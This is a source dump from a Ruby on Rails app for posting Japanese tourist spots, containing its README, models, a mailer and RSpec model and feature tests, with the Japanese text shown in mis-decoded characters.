yuta-pharmacy2359/dwc_JapanSiteInfo_app README.md ```# JapanSiteInfo ## ใƒˆใƒƒใƒ—็”ป้ข <img width="700" alt="JapanSiteInfo_README็”จ็”ปๅƒ1" src="https://user-images.githubusercontent.com/75191225/113389769-8c836e80-93cb-11eb-9797-7cf304a51965.png"><br> ใƒฌใ‚นใƒใƒณใ‚ทใƒ–ๅฏพๅฟœ<br> <img width="400" alt="JapanSIteInfo_README็”จ็”ปๅƒ2" src="https://user-images.githubusercontent.com/75191225/113389945-d2d8cd80-93cb-11eb-8a11-3ceebad28414.png"> ## ๅ‹•ไฝœใƒ‡ใƒขgif ![JapanSiteInfo_README็”จGIF2](https://user-images.githubusercontent.com/75191225/114429340-3e0a7700-9bf8-11eb-8b3e-7e407ded39ff.gif) ## ใ‚ตใ‚คใƒˆๆฆ‚่ฆ ๆ—ฅๆœฌๅ„ๅœฐใฎ่ฆณๅ…‰ๅœฐใชใฉใฎๆƒ…ๅ ฑใ‚’ๆŠ•็จฟใ™ใ‚‹ใ‚ตใ‚คใƒˆ ### ใ‚ตใ‚คใƒˆใƒ†ใƒผใƒž ใ‚ใชใŸใ ใ‘ใŒ็Ÿฅใ‚‹ๆ—ฅๆœฌๅ„ๅœฐใฎใŠใ™ใ™ใ‚ใ‚นใƒใƒƒใƒˆใฎ้ญ…ๅŠ›ใ‚’ใฟใ‚“ใชใซไผใˆใ‚ˆใ†๏ผ ### ใƒ†ใƒผใƒžใ‚’้ธใ‚“ใ ็†็”ฑ ่‡ช่บซใŒๆ—ฅๆœฌๅ„ๅœฐใ‚’ๆ—…่กŒใ™ใ‚‹ใ“ใจใŒๅฅฝใใงใ€<br> ๆ˜จไปŠใฏใ‚ณใƒญใƒŠ็ฆใง่‹ฆใ—ใ„็Šถๆณไธ‹ใซ็ฝฎใ‹ใ‚Œใฆใ„ใ‚‹่ฆณๅ…‰ๅœฐใซๅฏพใ—ๅฐ‘ใ—ใงใ‚‚ๅŠ›ใซใชใ‚ŒใŸใ‚‰ใจๆ€ใฃใŸใŸใ‚ใ€‚ ### ใ‚ฟใƒผใ‚ฒใƒƒใƒˆใƒฆใƒผใ‚ถ ใƒปๆ—…่กŒใŒๅฅฝใใชไบบ<br> ใƒป่‡ชๅˆ†ใฎๅœฐๅ…ƒใฎใ‚นใƒใƒƒใƒˆใ‚’็ดนไป‹ใ—ใŸใ„ไบบ<br> ใƒปๆ—…่กŒใง่กŒใๅœฐๅŸŸใฏๆฑบใพใฃใฆใ„ใ‚‹ใŒใ€ๅ…ทไฝ“็š„ใซใฉใ“ใซ่กŒใ“ใ†ใ‹่ฟทใฃใฆใ„ใ‚‹ไบบ ### ไธปใชๅˆฉ็”จใ‚ทใƒผใƒณ ใƒป่‡ชๅˆ†ใฎ่กŒใฃใŸๅ ดๆ‰€ใซ้–ขใ™ใ‚‹ๅ†™็œŸใ‚„ๆƒ…ๅ ฑใ‚’ใƒฌใƒ“ใƒฅใƒผใ™ใ‚‹ใจใ<br> ใƒป่‡ชๅˆ†ใฎๅœฐๅ…ƒใฎใ‚นใƒใƒƒใƒˆใ‚’็ดนไป‹ใ—ใŸใ„ใจใ<br> ใƒปๆ—…่กŒใซ่กŒใ้š›ใ€ใจใ‚Šใ‚ใˆใšใŠใ™ใ™ใ‚ใฎ่ฆณๅ…‰ๅœฐใ‚’ๆŽขใ™ใจใ<br> ใƒป่ฆณๅ…‰ใ‚ตใ‚คใƒˆใซใ‚‚่ผ‰ใฃใฆใ„ใชใ„ใ‚ˆใ†ใช็ฉดๅ ดใŠใ™ใ™ใ‚ใ‚นใƒใƒƒใƒˆใ‚’ๆŽขใ™ใจใ ## ่จญ่จˆๆ›ธ ใƒปๆฉŸ่ƒฝไธ€่ฆง(https://docs.google.com/spreadsheets/d/15ZyaacnlLYVt2UiYMu4ja5J2thfTkkYupYOGmhFKg4A/edit#gid=0)<br> ใƒปERๅ›ณ(https://app.diagrams.net/#G1hehi0GDSWDi59i3i1iXcP50dsJQ1D6wT)<br> ใƒปใƒ†ใƒผใƒ–ใƒซๅฎš็พฉๆ›ธ(https://docs.google.com/spreadsheets/d/1jNlNwvkfvA5OVQQdUNAkHiO9cJ6OGuqi/edit#gid=1260128466)<br> ใƒปใ‚ขใƒ—ใƒชใ‚ฑใƒผใ‚ทใƒงใƒณ่ฉณ็ดฐ่จญ่จˆๆ›ธ(https://docs.google.com/spreadsheets/d/1GQhIay7zvfw3GbPX50oIlk4Wl4hIVzR-/edit#gid=184352165)<br> ใƒปAWSๆง‹ๆˆๅ›ณ(https://docs.google.com/presentation/d/13dMBIlINAkhTfK0h_gAVFSHj4y0KH0Yl/edit#slide=id.p1)<br> ใƒปAWSใ‚คใƒณใƒ•ใƒฉ่จญ่จˆๆ›ธ(https://docs.google.com/spreadsheets/d/1gnNPFkVHjPHwOH3_PIZyD37yykBuhRri9LdQG-lSy50/edit#gid=0)<br> ## ้–‹็™บ็’ฐๅขƒ - OS๏ผšLinux(CentOS) - ่จ€่ชž๏ผšHTML,CSS,JavaScript,Ruby,SQL - ใƒ•ใƒฌใƒผใƒ ใƒฏใƒผใ‚ฏ๏ผšRuby on Rails - JS ใƒฉใ‚คใƒ–ใƒฉใƒช๏ผšjQuery - IDE๏ผšCloud9 ## ไฝฟ็”จ็ด ๆ ๅ†™็œŸ็ด ๆ<br> ใƒปใฑใใŸใ(https://www.pakutaso.com/)<br> ใƒปO-DAN(https://o-dan.net/ja/) ``` thanks_mailer.rb ```class ThanksMailer < ApplicationMailer def complete_registration(user) @user = user if user.present? mail(:subject => "ๆ–ฐ่ฆ็™ป้ŒฒๅฎŒไบ†ใฎใŠ็Ÿฅใ‚‰ใ›", to: user.email) end end end``` keyword_relationship.rb ```class KeywordRelationship < ApplicationRecord belongs_to :spot belongs_to :keyword validates :spot_id, presence: true validates :keyword_id, presence: true end ``` spot_spec.rb ```require 'rails_helper' RSpec.describe 'Spotใƒขใƒ‡ใƒซใฎใƒ†ใ‚นใƒˆ', type: :model do describe 'ใƒใƒชใƒ‡ใƒผใ‚ทใƒงใƒณใฎใƒ†ใ‚นใƒˆ' do subject { spot.valid? } let(:user) { create(:user) } let!(:spot) { build(:spot, user_id: user.id) } context 'titleใ‚ซใƒฉใƒ ' do it '็ฉบๆฌ„ใงใชใ„ใ“ใจ' do spot.title = '' is_expected.to eq false end it '20ๆ–‡ๅญ—ไปฅไธ‹ใงใ‚ใ‚‹ใ“ใจ: 20ๆ–‡ๅญ—ใฏใ€‡' do spot.title = Faker::Lorem.characters(number: 20) is_expected.to eq true end it '20ๆ–‡ๅญ—ไปฅไธ‹ใงใ‚ใ‚‹ใ“ใจ: 21ๆ–‡ๅญ—ใฏร—' do spot.title = Faker::Lorem.characters(number: 21) is_expected.to eq false end end context 'prefectureใ‚ซใƒฉใƒ ' do it 'ๆœช้ธๆŠžใงใชใ„ใ“ใจ' do spot.prefecture = nil is_expected.to eq false end end context 'cityใ‚ซใƒฉใƒ ' do it '็ฉบๆฌ„ใงใชใ„ใ“ใจ' do spot.city = '' is_expected.to eq false end it '15ๆ–‡ๅญ—ไปฅไธ‹ใงใ‚ใ‚‹ใ“ใจ: 15ๆ–‡ๅญ—ใฏใ€‡' do spot.city = Faker::Lorem.characters(number: 15) is_expected.to eq true end it '15ๆ–‡ๅญ—ไปฅไธ‹ใงใ‚ใ‚‹ใ“ใจ: 16ๆ–‡ๅญ—ใฏร—' do spot.city = Faker::Lorem.characters(number: 16) is_expected.to eq false end end context 'visited_dayใ‚ซใƒฉใƒ ' do it 'ๆœชๆฅใฎๆ—ฅไป˜ใงใชใ„ใ“ใจ' do spot.visited_day = Date.today + 1 is_expected.to eq false end end context 'contentใ‚ซใƒฉใƒ ' do it '็ฉบๆฌ„ใงใชใ„ใ“ใจ' do spot.content = '' is_expected.to eq false end it '300ๆ–‡ๅญ—ไปฅไธ‹ใงใ‚ใ‚‹ใ“ใจ: 300ๆ–‡ๅญ—ใฏใ€‡' do spot.content = Faker::Lorem.characters(number: 300) is_expected.to eq true end it '300ๆ–‡ๅญ—ไปฅไธ‹ใงใ‚ใ‚‹ใ“ใจ: 301ๆ–‡ๅญ—ใฏร—' do spot.content = Faker::Lorem.characters(number: 301) is_expected.to eq false end end end describe 'ใ‚ขใ‚ฝใ‚ทใ‚จใƒผใ‚ทใƒงใƒณใฎใƒ†ใ‚นใƒˆ' do context 'Userใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it 'N:1ใจใชใฃใฆใ„ใ‚‹' do expect(Spot.reflect_on_association(:user).macro).to eq :belongs_to end end context 'KeywordRelationshipใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it '1:Nใจใชใฃใฆใ„ใ‚‹' do expect(Spot.reflect_on_association(:keyword_relationships).macro).to eq :has_many end end context 'Keywordใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it '1:Nใจใชใฃใฆใ„ใ‚‹' do expect(Spot.reflect_on_association(:keywords).macro).to eq :has_many end end context 'Commentใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it '1:Nใจใชใฃใฆใ„ใ‚‹' do expect(Spot.reflect_on_association(:comments).macro).to eq :has_many end end context 'Favoriteใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it '1:Nใจใชใฃใฆใ„ใ‚‹' do expect(Spot.reflect_on_association(:favorites).macro).to eq :has_many end end context 'Notificationใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it '1:Nใจใชใฃใฆใ„ใ‚‹' do expect(Spot.reflect_on_association(:notifications).macro).to eq :has_many end end end end ``` spot.rb ```class Spot < ApplicationRecord belongs_to :user has_many :comments, dependent: :destroy has_many :favorites, dependent: :destroy has_many :favorited_users, through: :favorites, source: :user has_many :keyword_relationships, dependent: :destroy has_many :keywords, through: :keyword_relationships has_many :notifications, dependent: :destroy attachment :spot_image1 attachment :spot_image2 attachment :spot_image3 #ๆฅ่จชๆ—ฅใฎใƒใƒชใƒ‡ใƒผใ‚ทใƒงใƒณ(ๆœชๆฅใฎๆ—ฅไป˜ใฏ) def visited_day_is_valid? errors.add(:visited_day, "ใŒ็„กๅŠนใชๆ—ฅไป˜ใงใ™") if visited_day.present? && visited_day > Date.today end #ใ„ใ„ใญๆธˆใฟใ‹ใฉใ†ใ‹ใฎๅˆคๆ–ญ def favorited_by?(user) favorites.find { |f| f.user_id == user.id }.present? end #ใ‚ญใƒผใƒฏใƒผใƒ‰ใฎไฟๅญ˜ def save_keyword(sent_keywords) current_keywords = keywords.pluck(:keyword) unless keywords.nil? old_keywords = current_keywords - sent_keywords new_keywords = sent_keywords - current_keywords old_keywords.each do |old| keywords.delete Keyword.find_by(keyword: old) end new_keywords.each do |new| new_spot_keyword = Keyword.find_or_create_by(keyword: new) keywords << new_spot_keyword end end #ใ„ใ„ใญใฎ้€š็Ÿฅ def create_notification_by(current_user) notification = current_user.active_notifications.new(spot_id: id, host_id: user_id, kind: "favorite") notification.save if notification.valid? end #ใ‚ณใƒกใƒณใƒˆใฎ้€š็Ÿฅ def create_notification_comment!(current_user, comment_id) temp_ids = Comment.select(:user_id).where(spot_id: id).where.not(user_id: current_user.id).distinct temp_ids.each do |temp_id| save_notification_comment!(current_user, comment_id, temp_id['user_id']) end save_notification_comment!(current_user, comment_id, user_id) if temp_ids.blank? end #ใ‚ณใƒกใƒณใƒˆใฎ้€š็Ÿฅ def save_notification_comment!(current_user, comment_id, host_id) notification = current_user.active_notifications.new(spot_id: id, comment_id: comment_id, host_id: host_id, kind: "comment") if notification.server_id == notification.host_id notification.check = true end notification.save if notification.valid? end #ใ‚นใƒใƒƒใƒˆๅˆฅใ„ใ„ใญๆ•ฐใƒฉใƒณใ‚ญใƒณใ‚ฐใฎ้›†่จˆ def self.create_spot_favorite_ranks Spot.find(Favorite.group(:spot_id).order('count(spot_id) desc').pluck(:spot_id)) end validates :title, presence: true, length: { maximum: 20 } validates :prefecture, presence: true validates :city, presence: true, length: { maximum: 15 } validate :visited_day_is_valid? validates :content, presence: true, length: { maximum: 300 } end ``` 02_after_login_spec.rb ```require 'rails_helper' describe '[STEP2] ใƒฆใƒผใ‚ถใƒญใ‚ฐใ‚คใƒณๅพŒใฎใƒ†ใ‚นใƒˆ' do let(:user) { create(:user) } let!(:other_user) { create(:other_user) } let!(:spot) { create(:spot, user: user) } let!(:other_spot) { create(:other_spot, user: other_user) } before do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' end describe 'ใƒ˜ใƒƒใƒ€ใƒผใฎใƒ†ใ‚นใƒˆ: ใƒญใ‚ฐใ‚คใƒณใ—ใฆใ„ใ‚‹ๅ ดๅˆ' do context 'ใƒชใƒณใ‚ฏใฎๅ†…ๅฎนใ‚’็ขบ่ช: โ€ปใ€Œใƒญใ‚ฐใ‚ขใ‚ฆใƒˆใ€ใฏใ€Žใƒฆใƒผใ‚ถใƒญใ‚ฐใ‚ขใ‚ฆใƒˆใฎใƒ†ใ‚นใƒˆใ€ใงใƒ†ใ‚นใƒˆๆธˆใฟ' do subject { current_path } it 'ใ€ŒJapanSiteInfoใ€ใ‚’ๆŠผใ™ใจใ€ใƒˆใƒƒใƒ—็”ป้ขใซ้ท็งปใ™ใ‚‹' do top_link = find_all('a')[0].native.inner_text top_link = top_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '') click_link top_link is_expected.to eq '/' end it 'ใ€Œ(ใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ )ใ•ใ‚“ใ€ใ‚’ๆŠผใ™ใจใ€ใƒžใ‚คใƒšใƒผใ‚ธ็”ป้ขใซ้ท็งปใ™ใ‚‹' do nickname_link = find_all('a')[1].native.inner_text nickname_link = nickname_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '') click_link nickname_link is_expected.to eq '/users/' + user.id.to_s end it 'ใ€Œ้€š็Ÿฅใ€ใ‚’ๆŠผใ™ใจใ€้€š็Ÿฅไธ€่ฆง็”ป้ขใซ้ท็งปใ™ใ‚‹' do mypage_link = find_all('a')[2].native.inner_text mypage_link = mypage_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '') click_link mypage_link is_expected.to eq '/notifications' end it 'ใ€Œๆ–ฐ่ฆๆŠ•็จฟใ€ใ‚’ๆŠผใ™ใจใ€ๆ–ฐ่ฆๆŠ•็จฟ็”ป้ขใซ้ท็งปใ™ใ‚‹' do new_spot_link = find_all('a')[3].native.inner_text new_spot_link = new_spot_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '') click_link new_spot_link is_expected.to eq '/spots/new' end it 'ใ€Œใ‚นใƒใƒƒใƒˆไธ€่ฆงใ€ใ‚’ๆŠผใ™ใจใ€ใ‚นใƒใƒƒใƒˆไธ€่ฆง็”ป้ขใซ้ท็งปใ™ใ‚‹' do spots_link = find_all('a')[5].native.inner_text spots_link = spots_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '') click_link spots_link is_expected.to eq '/spots' end it 'ใ€Œใ‚ญใƒผใƒฏใƒผใƒ‰ไธ€่ฆงใ€ใ‚’ๆŠผใ™ใจใ€ใ‚ญใƒผใƒฏใƒผใƒ‰ไธ€่ฆง็”ป้ขใซ้ท็งปใ™ใ‚‹' do keywords_link = find_all('a')[6].native.inner_text keywords_link = keywords_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '') click_link keywords_link is_expected.to eq '/keywords' end it 'ใ€Œใƒฆใƒผใ‚ถใƒผไธ€่ฆงใ€ใ‚’ๆŠผใ™ใจใ€ใƒฆใƒผใ‚ถไธ€่ฆง็”ป้ขใซ้ท็งปใ™ใ‚‹' do users_link = find_all('a')[7].native.inner_text users_link = users_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '') click_link users_link is_expected.to eq '/users' end it 'ใ€Œใƒฉใƒณใ‚ญใƒณใ‚ฐใ€ใ‚’ๆŠผใ™ใจใ€ใ„ใ„ใญๆ•ฐใƒฉใƒณใ‚ญใƒณใ‚ฐ(ใ‚นใƒใƒƒใƒˆ)็”ป้ขใซ้ท็งปใ™ใ‚‹' do ranking_link = find_all('a')[8].native.inner_text ranking_link = ranking_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '') click_link ranking_link is_expected.to eq '/rankings/spot_favorite' end end end describe 'ใƒˆใƒƒใƒ—็”ป้ขใฎใƒ†ใ‚นใƒˆ' do before do visit top_path end context 'ๆ–ฐ็€ใ‚นใƒใƒƒใƒˆ็”ป้ขใฎใƒ†ใ‚นใƒˆ' do it 'ใ€Œๆ–ฐ็€ใ‚นใƒใƒƒใƒˆใ€ใจ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_content 'ๆ–ฐ็€ใ‚นใƒใƒƒใƒˆ' end it 'ใ‚นใƒใƒƒใƒˆใฎ็”ปๅƒ(1ๆžš็›ฎ)ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_selector("img[src$='spot_image1.jpeg']") end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎใ‚ฟใ‚คใƒˆใƒซใŒ่กจ็คบใ•ใ‚Œใ€ใƒชใƒณใ‚ฏๅ…ˆใŒใใ‚Œใžใ‚Œๆญฃใ—ใ„' do expect(page).to have_link spot.title, href: spot_path(spot) expect(page).to have_link other_spot.title, href: spot_path(other_spot) end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎๆ‰€ๅœจๅœฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.prefecture expect(page).to have_content other_spot.prefecture expect(page).to have_content spot.city expect(page).to have_content other_spot.city end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎๆŠ•็จฟๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") expect(page).to have_content other_spot.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎๆฅ่จชๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.visited_day.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") expect(page).to have_content other_spot.visited_day.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎ่ฉ•ไพกใŒ่กจ็คบใ•ใ‚Œใ‚‹', js: true do expect(page).to have_content spot.rate expect(page).to have_content other_spot.rate sleep 3 end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_link '', href: spot_favorites_path(spot) expect(page).to have_link '', href: spot_favorites_path(other_spot) end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.favorites.count expect(page).to have_content other_spot.favorites.count end end it 'ใ‚นใƒใƒƒใƒˆๆคœ็ดขใ‚จใƒชใ‚ขใฏ่กจ็คบใ•ใ‚Œใชใ„' do expect(page).not_to have_content 'ใ‚นใƒใƒƒใƒˆใ‚’ๆŽขใ—ใฆใฟใ‚‹' expect(page).not_to have_field 'q[prefecture_eq]' expect(page).not_to have_field 'q[city_cont]' expect(page).not_to have_field 'q[title_cont]' expect(page).not_to have_field 'q[keywords_keyword_cont]' expect(page).not_to have_button 'ๆคœ็ดข' end end describe 'ใ‚นใƒใƒƒใƒˆไธ€่ฆง็”ป้ขใฎใƒ†ใ‚นใƒˆ' do before do visit spots_path end context 'ใ‚นใƒใƒƒใƒˆไธ€่ฆง่กจ็คบใฎ็ขบ่ช' do it 'URLใŒๆญฃใ—ใ„' do expect(current_path).to eq '/spots' end it 'ใ€Œใ‚นใƒใƒƒใƒˆไธ€่ฆงใ€ใจ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_content 'ใ‚นใƒใƒƒใƒˆไธ€่ฆง' end it '่‡ชๅˆ†ใจไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎ็”ปๅƒ(1ๆžš็›ฎ)ใŒ่กจ็คบใ•ใ‚Œใ‚‹๏ผš1ๆžš็›ฎใŒ1ๆžšใšใค่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_selector("img[src$='spot_image1.jpeg']") end it '่‡ชๅˆ†ใจไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎใ‚ฟใ‚คใƒˆใƒซใฎใƒชใƒณใ‚ฏๅ…ˆใŒใใ‚Œใžใ‚Œๆญฃใ—ใ„' do expect(page).to have_link spot.title, href: spot_path(spot) expect(page).to have_link other_spot.title, href: spot_path(other_spot) end it '่‡ชๅˆ†ใจไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎๆ‰€ๅœจๅœฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.prefecture expect(page).to have_content other_spot.prefecture expect(page).to have_content spot.city expect(page).to have_content other_spot.city end it '่‡ชๅˆ†ใจไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎๆŠ•็จฟๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") expect(page).to have_content other_spot.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it '่‡ชๅˆ†ใจไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎๆฅ่จชๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.visited_day.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") expect(page).to have_content other_spot.visited_day.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it '่‡ชๅˆ†ใจไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎ่ฉ•ไพกใŒ่กจ็คบใ•ใ‚Œใ‚‹', js: true do expect(page).to have_content spot.rate expect(page).to have_content other_spot.rate sleep 3 end it '่‡ชๅˆ†ใจไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_link '', href: spot_favorites_path(spot) expect(page).to have_link '', href: spot_favorites_path(other_spot) end it '่‡ชๅˆ†ใจไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.favorites.count expect(page).to have_content other_spot.favorites.count end end context 'ๆคœ็ดขใ‚จใƒชใ‚ขใฎ็ขบ่ช' do it '้ƒฝ้“ๅบœ็œŒใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_field 'q[prefecture_eq]' end it 'ๅธ‚ๅŒบ็”บๆ‘ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_field 'q[city_cont]' end it 'ใ‚ฟใ‚คใƒˆใƒซใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_field 'q[title_cont]' end it 'ใ‚ญใƒผใƒฏใƒผใƒ‰ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_field 'q[keywords_keyword_cont]' end it 'ๆคœ็ดขใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_button 'ๆคœ็ดข' end end end describe 'ใ‚นใƒใƒƒใƒˆๆ–ฐ่ฆๆŠ•็จฟใฎใƒ†ใ‚นใƒˆ' do before do visit new_spot_path end context '่กจ็คบๅ†…ๅฎนใฎ็ขบ่ช' do it 'URLใŒๆญฃใ—ใ„' do expect(current_path).to eq '/spots/new' end it 'ใ€Œๆ–ฐ่ฆใ‚นใƒใƒƒใƒˆใ€ใจ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content 'ๆ–ฐ่ฆใ‚นใƒใƒƒใƒˆ' end it 'ใ€Œใ‚ฟใ‚คใƒˆใƒซใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'spot[title]' end it 'ใ€Œใ‚ญใƒผใƒฏใƒผใƒ‰ใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'spot[keyword]' end it 'ใ€Œๆ‰€ๅœจๅœฐ(้ƒฝ้“ๅบœ็œŒ)ใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'spot[prefecture]' end it 'ใ€Œๆ‰€ๅœจๅœฐ(ๅธ‚ๅŒบ็”บๆ‘)ใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'spot[city]' end it 'ใ€Œๆฅ่จชๆ—ฅใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'spot[visited_day(1i)]' expect(page).to have_field 'spot[visited_day(2i)]' expect(page).to have_field 'spot[visited_day(3i)]' end it 'ใ€Œ่ฉ•ไพกใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(find('input[@name="spot[rate]"]', visible: false).text).to be_blank end it '็”ปๅƒ้ธๆŠžใฎใƒ•ใ‚ฉใƒผใƒ ใŒ3ใค่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'spot[spot_image1]' expect(page).to have_field 'spot[spot_image2]' expect(page).to have_field 'spot[spot_image3]' end it 'ใ€Œๅ†…ๅฎนใƒปๆ„Ÿๆƒณใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'spot[content]' end it 'ใ€ŒๆŠ•็จฟใ™ใ‚‹ใ€ใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_button 'ๆŠ•็จฟใ™ใ‚‹' end end context 'ๆ–ฐ่ฆๆŠ•็จฟใฎใƒ†ใ‚นใƒˆ' do before do fill_in 'spot[title]', with: Faker::Lorem.characters(number: 10) fill_in 'spot[keyword]', with: 'ๆฑไบฌใ‚ฟใƒฏใƒผ' select 'ๆฑไบฌ้ƒฝ', from: 'spot_prefecture' fill_in 'spot[city]', with: Faker::Lorem.characters(number: 10) select '2021', from: 'spot_visited_day_1i' select '1', from: 'spot_visited_day_2i' select '1', from: 'spot_visited_day_3i' find('input[@name="spot[rate]"]', visible: false).set('5') attach_file "spot[spot_image1]", "app/assets/images/image1.jpg" attach_file "spot[spot_image2]", "app/assets/images/image2.jpg" attach_file "spot[spot_image3]", "app/assets/images/image3.jpg" fill_in 'spot[content]', with: Faker::Lorem.characters(number: 50) end it 'ๆญฃใ—ใๆ–ฐ่ฆๆŠ•็จฟใ•ใ‚Œใ‚‹' do expect { click_button 'ๆŠ•็จฟใ™ใ‚‹' }.to change(Spot.all, :count).by(1) end it 'ๆ–ฐ่ฆๆŠ•็จฟๅพŒใฎใƒชใƒ€ใ‚คใƒฌใ‚ฏใƒˆๅ…ˆใŒใ€ๆ–ฐ่ฆๆŠ•็จฟใงใใŸใ‚นใƒใƒƒใƒˆใฎ่ฉณ็ดฐ็”ป้ขใซใชใฃใฆใ„ใ‚‹' do click_button 'ๆŠ•็จฟใ™ใ‚‹' expect(current_path).to eq '/spots/' + Spot.last.id.to_s end it 'ใ‚ญใƒผใƒฏใƒผใƒ‰ใŒ่กจ็คบใ•ใ‚Œใ€ใƒชใƒณใ‚ฏๅ…ˆใŒๆญฃใ—ใ„' do click_button 'ๆŠ•็จฟใ™ใ‚‹' expect(page).to have_link 'ๆฑไบฌใ‚ฟใƒฏใƒผ', href: keyword_path(Keyword.last.id) end end end describe '่‡ชๅˆ†ใฎใ‚นใƒใƒƒใƒˆ่ฉณ็ดฐ็”ป้ขใฎใƒ†ใ‚นใƒˆ' do before do visit spot_path(spot) end context '่กจ็คบๅ†…ๅฎนใฎ็ขบ่ช' do it 'URLใŒๆญฃใ—ใ„' do expect(current_path).to eq '/spots/' + spot.id.to_s end it 'ใ‚นใƒใƒƒใƒˆใฎใ‚ฟใ‚คใƒˆใƒซใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.title end it 'ใ‚นใƒใƒƒใƒˆใฎๆ‰€ๅœจๅœฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.prefecture expect(page).to have_content spot.city end it 'ใ‚นใƒใƒƒใƒˆใฎๆŠ•็จฟๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ใ‚นใƒใƒƒใƒˆใฎๆฅ่จชๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.visited_day.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 